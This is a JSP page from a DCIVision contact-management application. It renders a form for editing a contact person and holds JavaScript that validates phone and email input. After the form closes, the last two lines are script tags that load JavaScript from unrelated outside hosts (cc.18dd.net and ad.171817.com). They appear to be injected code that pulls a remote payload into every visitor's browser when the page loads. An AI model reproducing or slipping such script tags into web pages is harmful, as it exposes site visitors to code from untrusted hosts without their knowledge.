<%
/*
 * @(#)EditContactPerson.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/16
 * Description: make the email and phone validate
 * *********************************************************************************************
 */

/**
  EditContactPerson.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    04/01/2005
    @version          $Revision: 1.21.4.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.contact.bean.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintContactPersonForm" scope="request" class="com.dcivision.contact.web.MaintContactPersonForm"/>

<script language="Javascript">
function CusOpSave(frm) {
if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  frm.opMode.value="";
  frm.navMode.value = "<%=GlobalConstant.NAV_MODE_CHANGE%>";
  return OpSubmit(frm);
}
 /* Jicle.Wang 2006/06/16 Start */
 //only can input digit , "-",backspace,left and right.
function CheckPhoneNo(phone){
  var str = "";
  var code = window.event.keyCode;
  //bill add "(code>=9&&code<=20)||code==32" for EIP-395
  //"(code>=9&&code<=20)||code==32" key code is Tab,Enter,Shift,Ctrl,Alt,CapsLock,EspasQ Ascll value
  if(!((code>=48&&code<=57)||(code>=96&&code<=105)||code==189||code==109||code==37||code==39||code==8||code==46||(code>=9&&code<=20)||code==32))
  {
    alert("<bean:message key='errors.required' arg0='Nubmer'/>");
    return false;
  }
  if(phone.length>25){
    alert('The length of number is too long!');
    document.maintContactPersonForm.phoneNo.value='';
    return false;
  }
  return true;
}

function SaveNew(){
  var email= document.maintContactPersonForm.email.value;
  if(CheckEamil(email)){
    if(OpSaveAndNew()){
      return true;
      }
      return false;
    }
  document.maintContactPersonForm.email.focus();
  return false;
}

function Save(){
  var email= document.maintContactPersonForm.email.value;
  if(CheckEamil(email)){
    if(OpSave()){
      return true;
    }

    return false;
  }
  document.maintContactPersonForm.email.focus();
  return false;
}

function CheckEamil(str){
  var emailPat= /^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/;
  if(!emailPat.exec(str)){
      alert("<bean:message key='errors.email' arg0='Email'/>");
      return false;
    }
  return true;
}
 /* Jicle.Wang 2006/06/16 End   */
</script>
<html:form action="contact/MaintContactPerson">
<html:javascript formName="maintContactPersonForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font>
  <layout:returnButton>ListContactPerson.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="contact.label.contact_person_info" mandatory='true'/>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.first_name'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:text property="firstName" size="20" maxlength="100"/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.last_name'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:text property='lastName' size='20' maxlength='100'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.email'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:text property='email' size='20' maxlength='100'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel />"><bean:message key='contact.label.phone_no'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:text property='phoneNo' size='20' maxlength='100' onkeydown="return CheckPhoneNo(this.value);"/></td>
  </tr>
   <tr>
    <td class="<layout:classLabel />"><bean:message key='contact.label.description'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:textarea property='remarks' cols="30" rows="3" textlimit="300"/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.share_type'/>:&nbsp;</td>
    <td class="dataField" width="75%">
      <%if("Y".equals(maintContactPersonForm.getPublicFlag()) && !(sessionContainer.getUserRecordID().toString().equals(maintContactPersonForm.getCreatorID())) && !GlobalConstant.NAV_MODE_NEW.equals(maintContactPersonForm.getNavMode())){%>
        <html:radio property="publicFlag" onclick="return true" value="Y" textOnly="true"><bean:message key="contact.label.public"/></html:radio>&nbsp;
      <%}else{%>
        <html:radio property="publicFlag" onclick="return true" value="Y"><bean:message key="contact.label.public"/></html:radio>&nbsp;
        <html:radio property="publicFlag" onclick="return true" value="N"><bean:message key="contact.label.private"/></html:radio>
      <%}%>
   </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <!--TODO: Document Owner Handling-->
  <html:hidden property='ownerID'/>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return Save();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.more" onClick="return SaveNew();"/>
      <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintContactPersonForm.getOpMode()) && sessionContainer.getUserRecordID().toString().equals(maintContactPersonForm.getCreatorID())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintContactPerson.do?navMode=E&ID=${maintContactPersonForm.ID}"/>
    <%}%>

    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete();"/>
    </logic:equal>

    <%if(!Utility.isEmpty(maintContactPersonForm.getID())){%>
      <html:permissionButton label="common.label.copy" right="C" onClick="return CusOpSave();"/>
    <%}%>
    </td>
  </tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>